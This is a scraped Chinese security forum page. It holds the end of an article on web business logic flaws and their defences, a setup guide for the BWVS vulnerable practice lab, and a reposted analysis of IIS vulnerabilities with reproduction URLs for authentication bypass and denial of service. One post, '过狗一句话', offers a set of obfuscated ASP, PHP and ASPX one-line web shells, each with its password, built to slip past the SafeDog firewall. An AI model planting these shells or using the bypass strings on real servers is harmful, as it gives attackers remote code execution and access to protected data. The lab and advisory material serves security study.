2.如果要进行前端验证的话也可以,但是需要进行加密。当然,这个流程图还有一些安全缺陷,需要根据公司业务的不同而进行更改。

 
 
三.未进行登陆凭证验证解析:
 
有些业务的接口,因为缺少了对用户的登陆凭证的效验或者是验证存在缺陷,导致黑客可以未经授权访问这些敏感信息甚至是越权操作。
  常见案例:
1. 某电商后台主页面,直接在管理员web路径后面输入main.php之类的即可进入。

 
2. 某航空公司订单ID枚举
 
3. 某电子认证中心敏感文件下载
 
4.某站越权操作及缺陷,其主要原因是没对ID参数做cookie验证导致。
 
5. 实际上还有很多案例,这里就不一一例举了,但是他们都存在一个共同的特性,就是没有对用户的登陆凭证进行效验,如下图为例。

 
预防思路: 对敏感数据存在的接口和页面做cookie,ssid,token或者其它验证,如下图所示。

 
 
四:接口无限制枚举解析:
有些关键性的接口因为没有做验证或者其它预防机制,容易遭到枚举攻击。
  常见案例:
1. 某电商登陆接口无验证导致撞库

 
 
2. 某招聘网验证码无限制枚举
 
 
3. 某快递公司优惠券枚举
 
4. 某电商会员卡卡号枚举
5. 某超市注册用户信息获取

 
预防思路: 1. 在输入接口设置验证,如token,验证码等。


如果设定验证码,最好不要单纯的采取一个前端验证,最好选择后端验证。
如果设定token,请确保每个token只能采用一次,并且对token设定时间参数。


2. 注册界面的接口不要返回太多敏感信息,以防遭到黑客制作枚举字典。
3. 验证码请不要以短数字来甚至,最好是以字母加数字进行组合,并且验证码需要设定时间期限。
4. 优惠券,VIP卡号请尽量不要存在规律性和简短性,并且优惠券最好是以数字加字母进行组合。
5. 以上这是部分个人建议,实际方案需要参考业务的具体情况。五:cookie设计存在缺陷解析:
这里需要对其详细的说一下。我们先一个一个来吧。
  1. Cookie的效验值过于简单。有些web对于cookie的生成过于单一或者简单,导致黑客可以对cookie的效验值进行一个枚举,如下图所示


根据上图,我们可以分析出,这家网站对于cookie的效验只单纯的采用了一组数字,并且数值为常量,不会改变,这样非常容易遭到黑客的枚举。甚至有一些网站做的更简单,直接以用户名,邮箱号或者用户ID等来作为cookie的判断标准。
  2. cookie设置存在被盗风险
有很多时候,如果一个用户的cookie被盗取,就算用户怎么修改账号和密码,那段cookie一样有效。详情可以参考《BlackHat(世界黑帽大会)官方APP出现两个逻辑漏洞》
其原理如下:

国内大部分厂商都不会把这个地方当作安全漏洞来处理,他们认为这个漏洞的利用条件是黑客必须要大批量获取到用户的cookie。虽然事实如此,但是这个也是一个安全隐患。
  3.用户的cookie数据加密应严格使用标准加密算法,并注意密钥管理。
有一些厂商为了图方便,没有对用户的cookie做太多的加密工作,仅仅是单纯的做一个静态加密就完事了。我之前就碰到一个,可以为大家还原一下当时的场景。

当时我看到cookie中有个access token参数,看到value后面是两个等号,习惯性的给丢去base64解码里面,发现解出来后是我的用户名。因此只要知道一个人的用户名就可以伪造对方的cookie,登陆他人账户。
  4.还有多个案例不再做重复说明,大家可以深入研究一下cookie中的逻辑漏洞。但是cookie中的漏洞大多都是属于一个越权漏洞。越权漏洞又分为平行越权,垂直越权和交叉越权。


平行越权:权限类型不变,权限ID改变
垂直越权:权限ID不变,权限类型改变
交叉越权:即改变ID,也改变权限


如下图所示:

 
预防思路: 1.cookie中设定多个验证,比如自如APP的cookie中,需要sign和ssid两个参数配对,才能返回数据。
2.用户的cookie数据加密应严格使用标准加密算法,并注意密钥管理。
3.用户的cookie的生成过程中最好带入用户的密码,一旦密码改变,cookie的值也会改变。
4.cookie中设定session参数,以防cookie可以长时间生效。
5.还有很多方法,不再一一例举,请根据业务不同而思考。
 
 
六:找回密码存在设计缺陷解析:
  1.auth设计缺陷
经常研究逻辑漏洞的人可能会对以下URL很熟悉
[code]www.xxx.com/resetpassword.php?id=MD5
[/code]
用户修改密码时,邮箱中会收到一个含有auth的链接,在有效期内用户点击链接,即可进入重置密码环节。而大部分网站对于auth的生成都是采用rand()函数,那么这里就存在一个问题了,Windows环境下rand()最大值为32768,所以这个auth的值是可以被枚举的。
  如下面这个代码可以对auth的值做一个字典。

 
然后重置某个账号,并且对重置链接内的auth进行枚举
 
整个漏洞的运作的流程图如下:
 
2.对response做验证 这个漏洞经常出现在APP中,其主要原因是对于重置密码的的验证是看response数据包,由于之前的案例没有截图,只能画个流程图给大家演示一下。

3.《密码找回逻辑漏洞总结》这篇文章很全面的总结了密码找回漏洞的几个具体思路和分析,这里我就不再继续滚轮子了。
 
预防思路: 1.严格使用标准加密算法,并注意密钥管理。
2.在重置密码的链接上请带入多个安全的验证参数。七:单纯读取内存值数据来当作用户凭证解析:
实际上这个应该算作一个软件的漏洞,但是因为和web服务器相关,所以也当作WEB的逻辑漏洞来处理了。最能当作例子是《腾讯QQ存在高危漏洞可读取并下载任意用户离线文件(泄漏敏感信息)》这个漏洞,但是我相信这种奇葩的漏洞不一定只有腾讯才有,只是还没人去检测罢了。
产生这个漏洞的主要原因是程序在确定一个用户的登陆凭证的时候主要是依靠内存值中的某个value来进行确认,而不是cookie。但是内存值是可以更改和查看的。
其流程图如下:

 
预防思路: 1. 走服务器端的数据最好做cookie验证。
2. 我不反对直接在进程中确定用户的登陆凭证,但是请对进程进行保护,或者对进程中的value做加密处理。
 
-------转载:https://www.freebuf.com/vuls/112339.html#
*文章原创作者: ArthurKiller@漏洞盒子安全研究团队,来自FreeBuf黑客与极客(FreeBuf.COM)

web漏洞大型综合类测试系统-BWVS

llpkk 发表了文章 • 1 个评论 • 455 次浏览 • 2019-01-10 23:39 • 来自相关话题

本篇文章主要借鉴于:
id:疯狂棒棒糖7
https://blog.csdn.net/weixin_42373210/article/details/81196338
 
 
我的简书博客:https://www.jianshu.com/u/1f9e409c0809
 
在学习了一些基本的漏洞之后,只能在笔记中能够回顾这些基础,并不能有一个合适的靶场来练习。当然,SQLi,upload-labs-master是sql注入和文件上传漏洞非常能够有提升自己的靶场,但是像反射性XSS,存储型XSS和DOM型XSS就比较难以复现,像CSRF,SSRF,任意命令执行和任意文件下载等等很多基础漏洞无法复现。我很迫切找到一个能够拥有这些所有漏洞的综合性渗透测试靶场,所以我就百度了一些,找到了由BUGKU推出的一款开元免费的渗透测试靶场——BWVS。
(因为我比较菜,所以感觉DVWA感觉比较难,大佬自行绕过)
 
我会在这里详细描述一下BWVS的搭建过程①:靶场所需要的环境
PHP和MYSQL环境即可,看过大佬的博客有说最好不要装在虚拟机当中。
php环境:使用phpstudy2018
mysql环境:phpstudy自带mysql环境
phpstudy2018官网下载传送门:http://phpstudy.php.cn
phpstudy2018使用教程传送门:http://www.php.cn/php-weizijiaocheng-389892.html
如果你从来都没有使用过phpstudy2018,那么给你这个非常详细的使用教程,我这里就不在赘述,
 

image.png
 ②:为搭建BWVS更改配置文件 php.ini 中的配置
需要配置php.ini中的两个配置:
1.allow_url_include = On(需要手动开启)
2.allow_url_fopen = On(默认为开启)
 

image.png 
正常情况下这两个选项是在一起的,如图改为On就好了 
 

image.png③:配置BWVS靶机
下载BWVS压缩包并解压后会出现WWW.rar和dwvs.sql两个文件,首先需要导入根目录的sql 文件,百度了一个懒人教程,非常简单。
 

image.png 
这个过程需要注意的是还原到数据库名这个地方一定要写BWVS,自己踩过坑,比较注意。
这时候把解压出来的WWW.rar文件解压解压出来并将文件名WWW改为BWVS并放置到php目录下的WWW目录下例如我的是:G:\php\PHPTutorial\WWW
这个要根据自己安装的情况来定④:BWVS配置文件的修改
接着需要修改\bwvs_config\sys_config.php 配置文件中的Mysql 和根目录的配置,这里需要注意的是如果数据库没有改用户名和密码那只需要把 “DateName”改为“BWVS” 然后把根目录改为文件夹的名字‘/BWVS’即可。 
 

image.png
接着修改\bug\conn.php里的mysql配置,同理如果没有改动数据库的用户名和密码只需要将新建的数据库名修改了即可。 
 

image.png⑤:BWVS配置完成,进入靶场进行联系
打开phpstudy2018并启动,在浏览器中输入127.0.0.1或者输入http://localhost/BWVS。
如果没有目录的话在php中可以打开,如图
 

image.png
这样进入后直接打开BWVS即可
 

image.png 
 

image.png 
 

image.png
 
到这里整个环境就搭建完成,一共拥有41个漏洞[code] SQL联合查询注入

SQL搜索型注入

SQL报错型注入

SQL数字型注入

SQL字符型注入

SQL基于时间的盲注

SQL逻辑注入

反射型 XSS

存储型 XSS

DOM型 XSS

暴力破解

PHP远程命令执行漏洞

本地文件包含漏洞

任意文件包含漏洞

任意代码读取漏洞

目录限制文件包含

修改任意用户密码漏洞

任意文件上传漏洞

JS限制文件上传

MIME限制文件上传

扩展名限制文件上传

内容限制文件上传

任意代码执行

ssrf

无验证码爆破

源码泄漏

php://input伪协议。。。。。。等等漏洞共41个
[/code]
BWVS渗透测试靶场可以帮助我们复现各种各样的漏洞,有些简单到让人蛋蛋痛,但也有些可能会让你感到怀疑人生。目前我由于时间原因还没有完全做完,希望自己能够把这里的所有漏洞都复现一下。作为一个web安全的小白白在老师的带领下看到了许许多多业界大佬精英的“英雄池”是那么那么的深,瞬间感觉自己很渺小,很微弱。无论是年幼的幻想也罢,还是成年的理想也好,我都希望自己能够坚持下去,走好我自己的网络安全之路,加油~ 查看全部
本篇文章主要借鉴于:
id:疯狂棒棒糖7
https://blog.csdn.net/weixin_42373210/article/details/81196338
 
 
我的简书博客:https://www.jianshu.com/u/1f9e409c0809
 
在学习了一些基本的漏洞之后,只能在笔记中能够回顾这些基础,并不能有一个合适的靶场来练习。当然,SQLi,upload-labs-master是sql注入和文件上传漏洞非常能够有提升自己的靶场,但是像反射性XSS,存储型XSS和DOM型XSS就比较难以复现,像CSRF,SSRF,任意命令执行和任意文件下载等等很多基础漏洞无法复现。我很迫切找到一个能够拥有这些所有漏洞的综合性渗透测试靶场,所以我就百度了一些,找到了由BUGKU推出的一款开元免费的渗透测试靶场——BWVS。
(因为我比较菜,所以感觉DVWA感觉比较难,大佬自行绕过)
 
我会在这里详细描述一下BWVS的搭建过程①:靶场所需要的环境
PHP和MYSQL环境即可,看过大佬的博客有说最好不要装在虚拟机当中。
php环境:使用phpstudy2018
mysql环境:phpstudy自带mysql环境
phpstudy2018官网下载传送门:http://phpstudy.php.cn
phpstudy2018使用教程传送门:http://www.php.cn/php-weizijiaocheng-389892.html
如果你从来都没有使用过phpstudy2018,那么给你这个非常详细的使用教程,我这里就不在赘述,
 

image.png
 ②:为搭建BWVS更改配置文件 php.ini 中的配置
需要配置php.ini中的两个配置:
1.allow_url_include = On(需要手动开启)
2.allow_url_fopen = On(默认为开启)
 

image.png 
正常情况下这两个选项是在一起的,如图改为On就好了 
 

image.png③:配置BWVS靶机
下载BWVS压缩包并解压后会出现WWW.rar和dwvs.sql两个文件,首先需要导入根目录的sql 文件,百度了一个懒人教程,非常简单。
 

image.png 
这个过程需要注意的是还原到数据库名这个地方一定要写BWVS,自己踩过坑,比较注意。
这时候把解压出来的WWW.rar文件解压解压出来并将文件名WWW改为BWVS并放置到php目录下的WWW目录下例如我的是:G:\php\PHPTutorial\WWW
这个要根据自己安装的情况来定④:BWVS配置文件的修改
接着需要修改\bwvs_config\sys_config.php 配置文件中的Mysql 和根目录的配置,这里需要注意的是如果数据库没有改用户名和密码那只需要把 “DateName”改为“BWVS” 然后把根目录改为文件夹的名字‘/BWVS’即可。 
 

image.png
接着修改\bug\conn.php里的mysql配置,同理如果没有改动数据库的用户名和密码只需要将新建的数据库名修改了即可。 
 

image.png⑤:BWVS配置完成,进入靶场进行联系
打开phpstudy2018并启动,在浏览器中输入127.0.0.1或者输入http://localhost/BWVS
如果没有目录的话在php中可以打开,如图
 

image.png
这样进入后直接打开BWVS即可
 

image.png 
 

image.png 
 

image.png
 
到这里整个环境就搭建完成,一共拥有41个漏洞
[code]    SQL联合查询注入

SQL搜索型注入

SQL报错型注入

SQL数字型注入

SQL字符型注入

SQL基于时间的盲注

SQL逻辑注入

反射型 XSS

存储型 XSS

DOM型 XSS

暴力破解

PHP远程命令执行漏洞

本地文件包含漏洞

任意文件包含漏洞

任意代码读取漏洞

目录限制文件包含

修改任意用户密码漏洞

任意文件上传漏洞

JS限制文件上传

MIME限制文件上传

扩展名限制文件上传

内容限制文件上传

任意代码执行

ssrf

无验证码爆破

源码泄漏

php://input伪协议。。。。。。等等漏洞共41个
[/code]
BWVS渗透测试靶场可以帮助我们复现各种各样的漏洞,有些简单到让人蛋蛋痛,但也有些可能会让你感到怀疑人生。目前我由于时间原因还没有完全做完,希望自己能够把这里的所有漏洞都复现一下。作为一个web安全的小白白在老师的带领下看到了许许多多业界大佬精英的“英雄池”是那么那么的深,瞬间感觉自己很渺小,很微弱。无论是年幼的幻想也罢,还是成年的理想也好,我都希望自己能够坚持下去,走好我自己的网络安全之路,加油~

过狗一句话

sq_smile 发表了文章 • 0 个评论 • 296 次浏览 • 2019-01-10 11:12 • 来自相关话题

前几天自己找的变性的过狗一句话,希望能帮到大家。
asp:
       <%Y=request("x")%> <%execute(Y)%>    密码:x
           <%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("sz"))%>   密码:sz
           <%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%>      密码:-7
php:
         <!--?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?--> 

           <!--?php $lang = (string)key($_POST);$lang($_POST['sz']); ?--> 

           <!--?php $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);?--> 

           <!--?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["sz"]); ?-->    前几个密码都是:sz
           <!--?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?--> 
密码:-7
aspx的 过狗效果不怎么样—不过我认为能支持aspx 百分之八九十支持asp,
<%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval (/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>     密码:-7
<%@ Page Language="Jscript"%><%eval(Request.Item["sz"],"unsafe");%>    密码:sz
 
<script type="text/javascript" language="C#">// <![CDATA[  
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");    
// ]]></script>    密码:webadmin
  查看全部
前几天自己找的变性的过狗一句话,希望能帮到大家。
asp:
       <%Y=request("x")%> <%execute(Y)%>    密码:x
           <%eval (eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("sz"))%>   密码:sz
           <%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%>      密码:-7
php:
         <!--?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?--> 

           <!--?php $lang = (string)key($_POST);$lang($_POST['sz']); ?--> 

           <!--?php $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);?--> 

           <!--?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["sz"]); ?-->    前几个密码都是:sz
           <!--?php @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?--> 
密码:-7
aspx的 过狗效果不怎么样—不过我认为能支持aspx 百分之八九十支持asp,
<%@ Page Language = Jscript %><%var/*-/*-*/P/*-/*-*/=/*-/*-*/"e"+"v"+/*-/*-*/"a"+"l"+"("+"R"+"e"+/*-/*-*/"q"+"u"+"e"/*-/*-*/+"s"+"t"+"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]"+","+"\""+"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"+"\""+")";eval (/*-/*-*/P/*-/*-*/,/*-/*-*/"u"+"n"+"s"/*-/*-*/+"a"+"f"+"e"/*-/*-*/);%>     密码:-7
<%@ Page Language="Jscript"%><%eval(Request.Item["sz"],"unsafe");%>    密码:sz
 
<script type="text/javascript" language="C#">// <![CDATA[  
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");    
// ]]></script>    密码:webadmin
 

那些年让我们心惊胆战的IIS漏洞

sq_smile 发表了文章 • 0 个评论 • 223 次浏览 • 2019-01-08 21:20 • 来自相关话题

本文转自安全脉搏,为千里目实验室所写。
原文链接:https://www.secpulse.com/archives/82410.html​ 
一、 全球第三大网络服务器
Internet Information Services(IIS,以前称为Internet Information Server)互联网信息服务是Microsoft公司提供的可扩展Web服务器,支持HTTP,HTTP/2,HTTPS,FTP,FTPS,SMTP和NNTP等。起初用于Windows NT系列,随后内置在Windows 2000、Windows XP Professional、Windows Server 2003和后续版本一起发行。IIS目前只适用于Windows系统,不适用于其他操作系统。
根据Netcraft在2018年9月的最新全球Web服务器报告显示,Microsoft IIS依旧以9.57%的比例占据全球第三大最繁忙服务器,落后于Apache 34.07%和Nginx 25.45%。目前流行的Windows版本都默认安装IIS服务,但同时IIS的安全性一直被业内诟病,一旦IIS出现高危漏洞,将会出现范围广、影响深的特点。
 
目前IIS一共发行12个版本,从IIS 1.0版本至IIS 10.0版本,IIS 1.0-4.0已经基本退出市场,IIS 5.0-10.0是Web市场主要使用的网站服务器。随着Windows版本发布和不断更新,IIS自身的安全性也有了较大的提升。在2005-2018年期间,IIS漏洞呈现逐年减少的趋势,同时也说明了IIS漏洞POC公布越来越少、漏洞挖掘的难度也在提升。
 
IIS 版本
Win版本
IIS全球装机数量
受影响漏洞数量
IIS 1.0
Win NT 3.51
0
未统计
IIS 2.0
Win NT 4.0
0
未统计
IIS 3.0
Win NT 4.0 Sp3
0
未统计
IIS 4.0
Win NT 4.0选项包
0
未统计
IIS 5.0
Windows 2000
46,078
10个
IIS 5.1
Windows XP 系列
29,825
16个
IIS 6.0
Win 2003和Win XP Pro x64
620,360
21个
IIS 7.0
Win 2008、 Vista全系列
276,736
11个
IIS 7.5
Win 7和Win 2008 R2
3,970,245
12个
IIS 8.0
Win 8和Win 2012
344,734
4个
IIS 8.5
Win 8.1和Win 2012 R2
2,153,546
4个
IIS 10.0
Win 10和Win 2016
1,086,887
2个
 
从上述IIS漏洞统计表格可以看出,IIS 7.5、IIS 8.5和IIS 10.0是目前全球使用最多的三款IIS版本,分别对应受影响漏洞12个、4个和2个,呈现受影响漏洞数量递减的趋势。同时,在历年的IIS版本漏洞中,IIS 6.0、IIS 5.1、IIS 7.5和IIS 7.0受影响的漏洞数居前四位。
 二、 IIS漏洞分析
千里目实验室针对IIS近十几年(2005年以后)的35个漏洞进行和整理和分析,IIS漏洞主要分布在缓冲区溢出、认证绕过、DOS拒绝服务、代码执行和信息泄露,其中以MS15-034远程代码执行漏洞最为严重。
 
 
 
 
IIS漏洞类型
远程漏洞
本地漏洞
数量
缓冲区溢出
7
0
7
认证绕过
7
0
7
拒绝服务
5
0
5
代码执行
4
0
4
信息泄露
2
2
4
XSS注入
1
1
2
命令执行
2
0
2
权限提升
0
2
2
文件上传
2
0
2
总计
30
5
35
 
由上表可以看到,IIS历年漏洞主要以远程漏洞为主,占漏洞总数85.71%,本地漏洞有5个,占漏洞总数14.29%。其中5个本地漏洞分别是:(MS12-073)Microsoft IIS密码信息泄露漏洞CVE-2012-2531、 Microsoft IIS源代码泄露漏洞CVE-2005-2678、 (MS17-016)Microsoft Internet信息服务器跨站脚本漏洞CVE-2017-0055、 (MS16-016)IIS WEBDAV特权提升漏洞CVE-2016-0051、 (MS08-005)Microsoft IIS 文件更改通知本地权限提升漏洞CVE-2008-0074。
以下主要针对IIS漏洞中可以远程利用的重点漏洞做分析和复现:
1.  缓冲区溢出漏洞
       1.1 (MS09-053)Microsoft IIS FTPd服务NLST命令栈缓冲区CVE-2009-3023
       1.1.1 漏洞描述:Microsoft IIS内嵌的FTP服务器中存在基于栈的缓冲区溢出漏洞。如果远程攻击者对带有特制名称的目录发布了包含有通配符的FTP NLST(NAME LIST)命令的话,就可以触发这个溢出,导致执行任意代码。仅在攻击者拥有写访问权限的情况下才可以创建带有特殊名称的目录。  
       1.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.0、IIS 5.1、IIS 6.0
Ø 漏洞分析:
IIS包括用于通过TCP计算机网络交换和操作文件的FTP服务器服务。它默认侦听端口21以获取来自FTP客户端的传入连接。IIS支持的FTP命令之一是名称列表(NLST)命令。此命令用于将目录列表从服务器传输到客户端。该命令的语法如下:
NLST <SPACE> <pathname> <CRLF>,此命令中的路径名应指定目录或其他特定于系统的文件组描述符;在pathname为NULL时,使用当前目录。NLST命令可以使用诸如“*”之类的通配符来引用多个路径。
Microsoft Internet信息服务(IIS)中存在缓冲区溢出漏洞。该漏洞是由于处理NLST FTP命令时边界检查不足造成的。当FTP用户请求包含通配符的路径名过长的目录列表时,易受攻击的代码会将目录路径名复制到0x9F(159)字节的基于堆栈的缓冲区中,而不进行边界验证。提供包含大于0x9F(159)字节的路径名会使堆栈缓冲区溢出,从而可能会覆盖关键进程数据(如函数返回地址)。
远程身份验证的攻击者可以通过连接到易受攻击的IIS FTP服务器并向目标服务器发送恶意NLST命令来利用此漏洞。成功利用将导致使用System权限执行代码。如果代码执行攻击不成功,可能会导致受影响的FTP会话异常终止。
注意:为了成功利用此漏洞,NLST命令中指定的长路径名必须存在于目标系统上。因此,利用此漏洞的攻击可能伴随着MKD命令的使用。
Ø 漏洞类型:可远程利用,存在缓冲区溢出漏洞,可触发代码执行
Ø 漏洞复现:
复现环境:Win XP SP3 x64专业版,默认IIS 5.1
1. 搭建好IIS FTP靶机环境,测试anonymous默认匿名用户可用,且可创建和读写目录;
2. 测试正常MKD创建和NLST正常长度的目录的功能是否正常:
 
以上somefolder为FTP服务器上正常长度文件夹,NLST命令执行成功并返回结果提示226。
3. 测试创建和NLST异常目录长度,服务器返回150,打开数据连接,成功执行命令。
 
Ø 漏洞缓解:
1. 此漏洞仅在IIS 5.x和6.0版本存在,升级IIS版本或者更新MS09-053补丁即可规避此漏洞;
2. 此漏洞成功利用的条件主要包括:IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。
 2.  DOS拒绝服务漏洞
      2.1  (MS07-041)Microsoft IIS 5.1远程缓冲区溢出漏洞  CVE-2005-4360
      2.1.1 漏洞描述:Microsoft IIS处理某些畸形的HTTP请求时存在漏洞,远程攻击者可能利用此漏洞对服务器进行拒绝服务攻击。远程攻击者可以使用WEB浏览器之类的工具发送特制的匿名HTTP请求导致IIS服务进程inetinfo.exe崩溃。仅在文件夹的"执行权限"设置为"脚本和可执行程序"时才会出现这个漏洞。有漏洞的虚拟文件夹包括"/_vti_bin"等。此外如果提交恶意请求还可能会触发缓冲区溢出,导致在用户系统上执行任意代码。2.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.1
Ø 漏洞分析:IIS包括一个能够提供静态和动态内容的Web服务器组件。IIS的Web组件提供Web应用程序功能。通过Web应用程序,服务器可以在后端执行脚本,并将生成的内容提供给请求客户端。客户端可以请求许多可执行资源,例如Perl脚本、Active Server Pages(ASP)或动态链接的库资源。用于提供动态动态内容的虚拟目录需要配置后台执行脚本的权限。
Microsoft Internet Information Services产品的HTTP服务器组件中存在可远程利用的拒绝服务漏洞。在特殊情况下,当多次请求动态链接的库资源时,受影响的服务可能会因此而关闭。由于服务器无法处理格式错误的URL请求,因此创建了该漏洞。恶意请求必须满足几个条件才能触发此漏洞。请求URL必须包含来自以下字符的有限集合中的字符(注意,不可见字符需要使用以下字符范围的URL编码形式):
• %3f
• ”
• *
• :
• <
• >
•字符 - 的范围
请求还必须包含波形符“~”字符,后面跟一个十进制数字。
Ø 漏洞类型:可远程利用,可触发DOS攻击
Ø 漏洞复现:
复现环境:Win XP SP3 x64专业版,默认IIS 5.1
1. 配置IIS默认wwwroot根目录下的虚拟目录_vti_bin执行权限为“脚本和可执行文件”权限;
 
 
2. 浏览器发送恶意url远程访问靶机环境,复现成功,服务器返回500错误:
  Eg:http://192.168.180.200/_vti_bin/.dll/\~0
 
 
 
 
Ø 漏洞缓解:
1. 此漏洞仅在IIS 5.1版本存在,升级IIS版本或者更新MS07-041补丁即可规避此漏洞;
2. 此漏洞成功利用的条件主要包括:要求在服务器端将请求的虚拟目录配置为“脚本和可执行文件”权限,不开启此权限的服务器不存在漏洞。
 2.2 (MS09-053)Microsoft IIS FTP服务器递归列表拒绝服务漏洞   CVE-2009-2521
      2.2.1 漏洞描述:IIS 5.0至7.0版本的FTP服务在处理递归目录列表请求时存在栈消耗漏洞。拥有对目录写访问权限的远程攻击者可以通过提交包含有通配符(如星形标识符)的请求导致拒绝服务(守护进程崩溃)。
2.2.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 5.0、IIS 5.1、IIS 6.0、IIS 7.0
Ø 漏洞分析:
通过包含通配符的list(ls)-R命令在Microsoft IIS FTP服务器5.0到7.0中触发拒绝服务条件,即ls "-R p*/../"命令可导致FTP服务器拒绝服务。 此漏洞利用有三个条件:
(1)一个有效的ftp帐户,拥有只读或写入权限;
(2)“FTP发布”服务必须在启动类型中配置为“手动”模式;
(3) FTP根目录下至少有一个目录。
Ø 漏洞类型:可远程利用,可触发DOS攻击
Ø 漏洞复现:
复现环境:Win XP SP3 x64专业版,默认IIS 5.1
1. 添加FTP服务器角色,IIS信息服务管理控制台“FTP站点下”启动FTP默认站点
 
 
2. 配置ftp默认用户anonymous/anonymous,拥有读写目录权限;
3. 目录下创建一个文件夹BB,然后输入ls "-R p*/../",成功复现DOS拒绝服务,ftp连接关闭:
 
中间很多重复:
p*/../BB:
BB
 
 
FTP服务器提示“远程主机关闭连接”,FTP拒绝服务,漏洞复现成功。
Ø 漏洞缓解:
1. 此漏洞仅在IIS 5.0-7.0版本存在,升级IIS版本或者更新MS09-053补丁即可规避此漏洞;
2. 此漏洞成功利用的条件主要包括:IIS启用FTP服务且存在FTP默认站点、攻击者登陆FTP的账户有创建和读写文件夹的权限。
 3.  认证绕过漏洞3.1  IIS认证绕过和源码泄露漏洞复现
       3.1.1 漏洞描述:Microsoft IIS(Internet Information Server)是Microsoft Windows系统默认自带的Web服务器软件,其中默认包含FTP服务。Microsoft IIS中存在认证绕过漏洞和源码泄露漏洞,该漏洞源于对用户提供的输入未经正确的验证。攻击者可利用这些漏洞在服务器进程上下文中获取密码保护资源和查看源代码文件的未授权访问,且有助于进一步攻击。
 3.1.2 漏洞分析和复现
Ø 漏洞影响版本:IIS 6.0、IIS 7.5
Ø 漏洞分析:Microsoft IIS由于无法正确清理用户提供的输入,容易出现身份验证绕过漏洞和源代码泄露漏洞。主要包括以下三类绕过:
(1) 安装了PHP的Microsoft IIS 6.0身份验证绕过:
IIS / 6.0加载受保护(如:admin)目录中的PHP文件需要用户认证信息(用户名和密码访问),如果将“:: $ INDEX_ALLOCATION”后缀附加到目录名称后面,存在绕过认证并可能访问管理文件等特殊情况,导致IIS服务器重要信息泄露;
 Eg:/admin::$INDEX_ALLOCATION/index.php
(2) Microsoft IIS 7.5经典ASP身份验证绕过:
配置了经典ASP和.NET Framework 4.0的Microsoft IIS 7.5,通过将“:$ i30:$ INDEX_ALLOCATION”后缀附加到需要认证的请求目录名称后面,可以绕过经典的ASP文件访问限制;
Eg:举例:/admin:$i30:$INDEX_ALLOCATION/index.asp
(3) Microsoft IIS 7.5 .NET源代码公开和身份验证绕过:
在配置中安装了PHP的Microsoft IIS / 7.5,存在认证绕过漏洞;
Eg:http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php
除此之外,通过将/.php附加到ASPX文件(或使用未通过请求过滤规则阻止的.NET框架的任何其他文件,如错误配置:.CS,.VB等文件)。IIS 7.5使用文件的完整源代码进行响应,并将其作为PHP代码执行。这意味着通过使用上传功能,可以(在特殊情况下)执行任意PHP代码。
Eg:  http://<victimIIS75>/Default.aspx/.php   (php任意代码执行)
Ø 漏洞类型:可远程利用,可触发认证绕过和信息泄露
Ø 漏洞复现:
复现环境:Windows 7 x64位,默认IIS 7.5
以下验证复现上述(3)的漏洞,(1)和(2)类似此处不做验证:
1. IIS网站根目录下创建admin用户目录,关闭默认用户认证,换言之,访问/admin/index.php目录下的文件需要认证信息,认证失败或者无认证信息将会返回401未授权页面;
 
 
 
 
2. 配置完成后,重启IIS服务器,浏览器远程访问此文件:http://192.168.180.207/admin/index.php,默认IIS账户访问提示401未授权;
 
3. 接下来,利用:$i30:$INDEX_ALLOCATION来绕过此限制,浏览器远程访问:
http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.php,成功绕过并访问到敏感信息;
 
4. 除此之外,如果目标站点限制上传和访问php文件,可以利用上传aspx(.net支持解析的文件类型)文件逃避限制,将其当做php代码执行;
Eg:网站目录下有一个index.aspx的文件,里面写有php代码,正常通过http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.aspx访问此文件无法执行代码,通过在末尾加上index.aspx/.php形式访问将会成功执行php代码;
 
a. 正常绕过访问index.aspx文件,页面返回乱码,未执行phpinfo代码:
 
